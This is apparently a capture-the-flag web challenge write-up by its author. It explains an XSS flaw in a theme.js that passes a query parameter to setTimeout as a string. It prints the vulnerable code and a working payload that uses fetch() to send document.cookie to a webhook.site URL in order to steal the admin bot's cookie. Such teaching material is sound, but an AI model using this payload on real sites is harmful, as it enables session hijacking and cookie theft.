WEB ASSIGNMENT WRITE UP

The main idea behind this challenge was to trick the participants into believing that they had to break out of the sandboxed iframe, which I deliberately made unexploitable.
This idea was inspired by this video https://youtu.be/KHwVjzWei1c?si=yHKn1k4HO34Q_Fyg (highly recommended to watch).

The main idea behind the exploit was to notice theme.js which was on the front end (viewing source is important).

```
const theme = new URLSearchParams(location.search).get("mode");
if (theme) {
 setTimeout(`setTheme("theme=${theme}")`, 1000);
}

function setTheme(x) {
 if (mode === "dark" || mode === "light") {
   document.body.classList.add(mode);
 }
}
```

Clearly, the page was taking theme from query parameter. There is no innerHTML, so nothing could go wrong right? Wrong.
When you pass a string to setTimeout or setInterval, it parses that into a function, allowing for xss, the reference for this idea is
https://www.syncfusion.com/blogs/post/settimeout-setinterval-uses-limitations

So the when you pass

```
?mode=");setTimeout(()%20=>%20{fetch("https://webhook.site/d86e0dda-fe37-4b67-b794-7ab1ea23e8c1?c="%2Bdocument.cookie)},%201000)//
```

As the query parameter, the function inside setTImeout becomes

```
setTheme("theme=");setTimeout(()%20=>%20{fetch("https://webhook.site/d86e0dda-fe37-4b67-b794-7ab1ea23e8c1?c="%2Bdocument.cookie)},%201000)//
```

Which leads to xss

So we can pass this link to the admin bot and get its cookie